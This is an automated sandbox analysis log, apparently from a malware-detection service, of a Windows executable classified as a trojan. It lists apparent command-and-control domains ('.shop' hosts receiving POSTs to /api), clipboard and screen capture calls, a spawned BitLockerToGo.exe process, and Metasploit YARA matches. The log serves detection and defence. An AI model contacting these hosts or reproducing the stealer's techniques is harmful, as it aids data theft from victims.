Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=3xk4E.2nDymKStRO43vRDjy22JgE06_vJkNrLPyvrcg-1725131410-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: traineiwnqo.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: tenseddrywsqio.shop
Source: global traffic	DNS traffic detected: DNS query: locatedblsoqp.shop
Source: global traffic	DNS traffic detected: DNS query: traineiwnqo.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tenseddrywsqio.shop

Source: l5u4ezxr.u51.exe	String found in binary or memory: https://api.loganalytics.iohttps://api.loganalytics.usencountered
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://gallery.usgovcloudapi.net/mariadb.database.usgovcloudapi.netdev.azuresynapse.usgovcloudapi.n
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locatedblsoqp.shop/
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locatedblsoqp.shop/6
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locatedblsoqp.shop/api
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://login.microsoftonline.com/METRIC_AZURERM_API_REQUEST_BUCKETSlabel
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://management.azure.comfailed
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://ossrdbms-aad.database.chinacloudapi.cned25519:
Source: BitLockerToGo.exe, 00000001.00000003.1768083504.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tenseddrywsqio.shop/M
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/.
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/api
Source: BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/apiK
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/api_
Source: BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/apibul
Source: BitLockerToGo.exe, 00000001.00000002.1797722828.00000000027D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/fXx
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop:443/apii
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comNtQuerySystemInformationAllo
Source: l5u4ezxr.u51.exe	String found in binary or memory: https://vault.azure.netusgovtrafficmanager.netvault.usgovcloudapi.nethttps://vault.azure.cn/vault.mi
Source: BitLockerToGo.exe, 00000001.00000003.1785814274.0000000002871000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1786075321.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: BitLockerToGo.exe, 00000001.00000003.1786075321.0000000002870000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1786075321.00000000027FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 104.21.69.149:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_004292F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_004292F0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_004292F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_004292F0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00421460 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

1_2_00421460

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1761754559.0000000002786000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: Process Memory Space: l5u4ezxr.u51.exe PID: 6528, type: MEMORYSTR	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004321F0	1_2_004321F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040C223	1_2_0040C223
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004323E3	1_2_004323E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042D702	1_2_0042D702
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00404000	1_2_00404000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041F011	1_2_0041F011
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00434030	1_2_00434030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042C890	1_2_0042C890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040D978	1_2_0040D978
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040B900	1_2_0040B900
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00434110	1_2_00434110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004061F0	1_2_004061F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004089F0	1_2_004089F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00420980	1_2_00420980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00435990	1_2_00435990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00413A4A	1_2_00413A4A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040E20B	1_2_0040E20B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041CA10	1_2_0041CA10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00419A1F	1_2_00419A1F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407A30	1_2_00407A30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00401AD5	1_2_00401AD5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041D290	1_2_0041D290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041BB22	1_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041A330	1_2_0041A330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004043C0	1_2_004043C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004353C0	1_2_004353C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043238A	1_2_0043238A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00433BA8	1_2_00433BA8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00433C40	1_2_00433C40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00434450	1_2_00434450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00402410	1_2_00402410
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00414420	1_2_00414420
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00411CDA	1_2_00411CDA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004324BC	1_2_004324BC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041AD70	1_2_0041AD70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004335D2	1_2_004335D2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00404DE0	1_2_00404DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041EDFE	1_2_0041EDFE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00433D90	1_2_00433D90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004235B0	1_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00420E60	1_2_00420E60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040FE01	1_2_0040FE01
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00401618	1_2_00401618
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00406ED0	1_2_00406ED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407EE0	1_2_00407EE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00431E80	1_2_00431E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004096A0	1_2_004096A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004356B0	1_2_004356B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00433F40	1_2_00433F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041D752	1_2_0041D752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040CF60	1_2_0040CF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00414770	1_2_00414770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00431710	1_2_00431710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00405780	1_2_00405780

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00409CD0 appears 87 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 004093E0 appears 38 times

Source: l5u4ezxr.u51.exe, 00000000.00000002.1759379021.00000000015E4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLauncher!.exe pP vs l5u4ezxr.u51.exe
Source: l5u4ezxr.u51.exe, 00000000.00000002.1761754559.000000000274C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs l5u4ezxr.u51.exe
Source: l5u4ezxr.u51.exe	Binary or memory string: OriginalFilenameLauncher!.exe pP vs l5u4ezxr.u51.exe

Source: l5u4ezxr.u51.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1761754559.0000000002786000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: Process Memory Space: l5u4ezxr.u51.exe PID: 6528, type: MEMORYSTR	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/0@3/2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0042D5B9 CoCreateInstance,SysAllocString,

1_2_0042D5B9

Source: l5u4ezxr.u51.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: l5u4ezxr.u51.exe

Virustotal: Detection: 21%

Source: l5u4ezxr.u51.exe	String found in binary or memory: runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc= until pc=unknown pcruntime: ggoroutine unixpacket(BADINDEX)%!(NOVERB)complex128ChorasmianDevanagariGlagoliticKharoshthiManichaeanOld_ItalicOld_PermicOld_TurkicOld_UyghurPhoenicianSaurashtra12207031256103515625ParseFloatt.Kind == RIPEMD-160SHA256-RSASHA384-RSASHA512-RSADSA-SHA256ECDSA-SHA1IP addressPOSTALCODEexecerrdotSYSTEMROOTChannel %spick_first:authoritygrpc.Recv.grpc.Sent."INTERNAL"OutOfRangeConnectionlocal-addrRST_STREAMEND_STREAMSet-Cookie; Expires=; Max-Age=; HttpOnly stream=%dset-cookieuser-agentkeep-aliveconnectionequivalentHost: %s
Source: l5u4ezxr.u51.exe	String found in binary or memory: ... omitting SubConn(id:%d)"OUT_OF_RANGE"ALREADY_EXISTSContent-LengthMAX_FRAME_SIZEPROTOCOL_ERRORINTERNAL_ERRORREFUSED_STREAM; SameSite=LaxERR_UNKNOWN_%daccept-charsetcontent-lengthread_frame_eof{$} not at endempty wildcardparsing %q: %wunknown error unknown code: Not Acceptable.WithoutCancel.WithDeadline(reserved_rangefield_presence> closed by </\.+?()\|[]{}^$bad record MAC.in-addr.arpa.unknown mode: key is invalidheap_sys_bytesRequestTimeoutRequestExpiredzero parametervault.azure.cnGetSystemTimesControlServiceCreateServiceWIsWellKnownSidMakeAbsoluteSDSetThreadTokenClearCommBreakClearCommErrorCreateEventExWCreateMutexExWGetTickCount64IsWow64ProcessLoadLibraryExWSetConsoleModeSizeofResourceVirtualProtectVirtualQueryExCoInitializeExCoUninitializeGetShellWindowVerQueryValueWnot a PNG filemime/multipart%s Channel #%dgrpc-trace-bintoo_many_pingsunknown ID: %vAuthInfo: '%s'show_sensitiveAccept-CharsetDkim-Signatureneed more dataREQUEST_METHODNOT_ENOUGH_FOOprotobuf errorInstEmptyWidthprefix length not an ip:portinvalid PrefixRCodeNameErrorResourceHeaderresourceGroups" out of rangeadd_dir_headerStaticProvidercloud.adc-e.ukcsp.hci.ic.govap-northeast-1ap-northeast-2ap-northeast-3ap-southeast-1ap-southeast-2ap-southeast-3ap-southeast-4Europe (Milan)Europe (Spain)Europe (Paris)US East (Ohio)fips-ca-west-1fips-us-east-1fips-us-east-2fips-us-west-1fips-us-west-2ca-west-1-fipsus-east-1-fipsus-east-2-fipsus-west-1-fipsus-west-2-fipsamplifybackendapi.ecr-publicbackup-gatewayclouddirectorycloudformationlocalhost:8000edge.sagemakerfips-ap-east-1fips-eu-west-1fips-eu-west-2fips-eu-west-3fips-sa-east-1emr-containersemr-serverlessprod-ca-west-1prod-us-east-1prod-us-east-2prod-us-west-1prod-us-west-2identity-chimeiotthingsgraphapi-ap-south-1data-eu-west-1data-us-east-1data-us-west-2kendra-rankingap-east-1-fipseu-west-1-fipseu-west-2-fipseu-west-3-fipssa-east-1-fipslookoutmetricsmediapackagev2meetings-chimenetworkmanagerroute53domainsruntime-v2-lexsecretsmanagerserverlessreposervicecatalogsimspaceweaverstoragegatewayworkspaces-webcn-northwest-1api-cn-north-1aws-iso-globalus-isob-east-1eu-isoe-west-1^cn\-\w+\-\d+$dtls fatal: %vRecordOverflowBadCertificateCLICOLOR_FORCEinvalid kind: formnovalidate$htmltemplate_ / %s */null MessageOptionsServiceOptionsprotobuf_oneofXXX_OneofFuncsXXX_extensionsLOGGER_UNKNOWNReservedRangesfailed to castunknown node: ApplyFunction;DifferentialD;DoubleLeftTee;DoubleUpArrow;LeftTeeVector;LeftVectorBar;LessFullEqual;LongLeftArrow;Longleftarrow;NotTildeEqual;NotTildeTilde;Poincareplane;PrecedesEqual;PrecedesTilde;RightArrowBar;RightTeeArrow;RightTriangle;RightUpVector;SucceedsEqual;SucceedsTilde;SupersetEqual;UpEquilibrium;VerticalTilde;VeryThinSpace;bigtriangleup;blacktriangle;divideontimes;fallingdotseq;hookleftarrow;leftarrowtail;leftharpoonup;longleftarrow;looparrowleft;measuredangle;ntriangleleft;shortparallel;smallsetminus;triangleright;upharpoonleft;NotEqualTilde;varsubsetneqq;varsupsetneqq;len of type %soffline_accessdocument startseque
Source: l5u4ezxr.u51.exe	String found in binary or memory: extension %v does not implement protoreflect.ExtensionTypeDescriptorexpected SCALAR, SEQUENCE-START, MAPPING-START, or ALIAS, but got %vinvalid relocation information. Base Relocation SizeOfBlock too largereflect: embedded interface with unexported method(s) not implementedhttp2: Transport closing idle conn %p (forSingleUse=%v, maxStream=%v)%s matches more methods than %s, but has a more specific path pattern%s matches fewer methods than %s, but has a more general path patterntls: peer doesn't support the certificate custom signature algorithmstls: handshake message of length %d bytes exceeds maximum of %d bytes%w: %q has %d variable labels named %q but %d values %q were providedrpc.Register: method %q has %d input parameters; needs exactly three
Source: l5u4ezxr.u51.exe	String found in binary or memory: Estimated total CPU time spent performing GC tasks on processors (as defined by GOMAXPROCS) dedicated to those tasks. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time spent running user Go code. This may also include some small amount of time spent in the Go runtime. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time goroutines spent performing GC tasks to assist the GC and prevent it from falling behind the application. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time spent returning unused memory to the underlying platform in response eagerly in response to memory pressure. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time spent performing tasks that return unused memory to the underlying platform. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics. Sum of all metrics in /cpu/classes/scavenge.Count of small allocations that are packed together into blocks. These allocations are counted separately from other allocations because each individual allocation is not tracked by the runtime, only their block. Each block is already accounted for in allocs-by-size and frees-by-size.Approximate cumulative time goroutines have spent blocked on a sync.Mutex, sync.RWMutex, or runtime-internal lock. This metric is useful for identifying global changes in lock contention. Collect a mutex or block profile using the runtime/pprof package for more detailed contention data.Estimated total available CPU time not spent executing any Go or Go runtime code. In other words, the part of /cpu/classes/total:cpu-seconds that was unused. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Memory allocated from the heap that is reserved for stack space, whether or not it is currently in-use. Currently, this represents all stack memory for goroutines. It also includes all OS thread stacks in non-cgo programs. Note that stacks may be allocated differently in the future, and this may change.Distribution of individual non-GC-related stop-the-world pause latencies. This is the time from deciding to stop the world until the world is started again. Some of this time is spent getting all threads to stop (measured directly in /sched/pauses/stopping/other:seconds). Bucket counts increase monotonically.Distribution of individual GC-related stop-the-world stopping latencies. This is the time it takes from deciding to stop the world until all Ps are stopped. This is a subse
Source: l5u4ezxr.u51.exe	String found in binary or memory: Estimated total CPU time spent performing GC tasks on processors (as defined by GOMAXPROCS) dedicated to those tasks. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time spent running user Go code. This may also include some small amount of time spent in the Go runtime. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time goroutines spent performing GC tasks to assist the GC and prevent it from falling behind the application. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time spent returning unused memory to the underlying platform in response eagerly in response to memory pressure. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Estimated total CPU time spent performing tasks that return unused memory to the underlying platform. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics. Sum of all metrics in /cpu/classes/scavenge.Count of small allocations that are packed together into blocks. These allocations are counted separately from other allocations because each individual allocation is not tracked by the runtime, only their block. Each block is already accounted for in allocs-by-size and frees-by-size.Approximate cumulative time goroutines have spent blocked on a sync.Mutex, sync.RWMutex, or runtime-internal lock. This metric is useful for identifying global changes in lock contention. Collect a mutex or block profile using the runtime/pprof package for more detailed contention data.Estimated total available CPU time not spent executing any Go or Go runtime code. In other words, the part of /cpu/classes/total:cpu-seconds that was unused. This metric is an overestimate, and not directly comparable to system CPU time measurements. Compare only with other /cpu/classes metrics.Memory allocated from the heap that is reserved for stack space, whether or not it is currently in-use. Currently, this represents all stack memory for goroutines. It also includes all OS thread stacks in non-cgo programs. Note that stacks may be allocated differently in the future, and this may change.Distribution of individual non-GC-related stop-the-world pause latencies. This is the time from deciding to stop the world until the world is started again. Some of this time is spent getting all threads to stop (measured directly in /sched/pauses/stopping/other:seconds). Bucket counts increase monotonically.Distribution of individual GC-related stop-the-world stopping latencies. This is the time it takes from deciding to stop the world until all Ps are stopped. This is a subse
Source: l5u4ezxr.u51.exe	String found in binary or memory: net/addrselect.go
Source: l5u4ezxr.u51.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go
Source: l5u4ezxr.u51.exe	String found in binary or memory: google.golang.org/grpc@v1.64.1/internal/balancerload/load.go

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe

File read: C:\Users\user\Desktop\l5u4ezxr.u51.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\l5u4ezxr.u51.exe "C:\Users\user\Desktop\l5u4ezxr.u51.exe"
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\l5u4ezxr.u51.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
